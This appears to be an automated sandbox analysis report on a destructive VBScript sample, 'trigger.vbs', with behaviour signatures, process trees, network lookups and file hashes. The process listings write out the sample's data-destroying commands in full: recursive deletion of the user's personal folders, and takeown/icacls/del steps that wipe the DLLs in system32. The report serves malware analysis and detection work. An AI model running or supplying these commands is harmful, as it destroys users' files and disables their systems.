Analysis Overview
SHA256
6d811ce895dd0383e794cef00804d44104196fb5bd263305fb3f10be77f24711
Threat Level: Likely malicious
The file trigger.vbs was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Checks computer location settings
Modifies file permissions
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
Suspicious use of WriteProcessMemory
Modifies registry class
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 21:07
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 21:07
Reported
2024-08-09 21:08
Platform
win7-20240705-en
Max time kernel
37s
Max time network
21s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16trigger.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && rd /s /q C:\Users\Admin\downloads >nul && rd /s /q C:\Users\Admin\documents >nul && rd /s /q C:\Users\Admin\pictures >nul && rd /s /q C:\Users\Admin\music >nul && rd /s /q C:\Users\Admin\videos >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
C:\Windows\explorer.exe
"C:\Windows\explorer.exe"
Network
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16trigger.vbs
| MD5 | f26fac5fb386f062ec7c6f529905723a |
| SHA1 | 7f1d32c8f68f210738ec75894b9b229e5534364a |
| SHA256 | a7a6e94c959d15b108d840c135a2ee9cb95c9a9408d4e7382a87855cf62da8eb |
| SHA512 | 6dc1d27bd905e0b0d2a72335ba435e766916066ae36271b6f4831b2863a8fce79254f901eeb482855e00d00764f14980006e3dabc43d9df7b7af20c340d617d4 |
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 21:07
Reported
2024-08-09 21:08
Platform
win10v2004-20240802-en
Max time kernel
49s
Max time network
51s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000\Control Panel\International\Geo\Nation | C:\Windows\System32\WScript.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-2412658365-3084825385-3340777666-1000_Classes\Local Settings | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\trigger.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16trigger.vbs"
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k rd /s /q C:\Users\Admin\desktop >nul && rd /s /q C:\Users\Admin\downloads >nul && rd /s /q C:\Users\Admin\documents >nul && rd /s /q C:\Users\Admin\pictures >nul && rd /s /q C:\Users\Admin\music >nul && rd /s /q C:\Users\Admin\videos >nul && exit
C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k takeown /f C:\Windows\system32\*.dll >nul && icacls C:\Windows\system32\*.dll /grant Everyone:(F) >nul && del /s /q C:\Windows\system32\*.dll >nul 2>&1 && exit
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | g.bing.com | udp |
| US | 13.107.21.237:443 | g.bing.com | tcp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 237.21.107.13.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Roaming\YOUR-COMPUTER-HAS-BEEN-DESTROYED_0+16trigger.vbs
| MD5 | f26fac5fb386f062ec7c6f529905723a |
| SHA1 | 7f1d32c8f68f210738ec75894b9b229e5534364a |
| SHA256 | a7a6e94c959d15b108d840c135a2ee9cb95c9a9408d4e7382a87855cf62da8eb |
| SHA512 | 6dc1d27bd905e0b0d2a72335ba435e766916066ae36271b6f4831b2863a8fce79254f901eeb482855e00d00764f14980006e3dabc43d9df7b7af20c340d617d4 |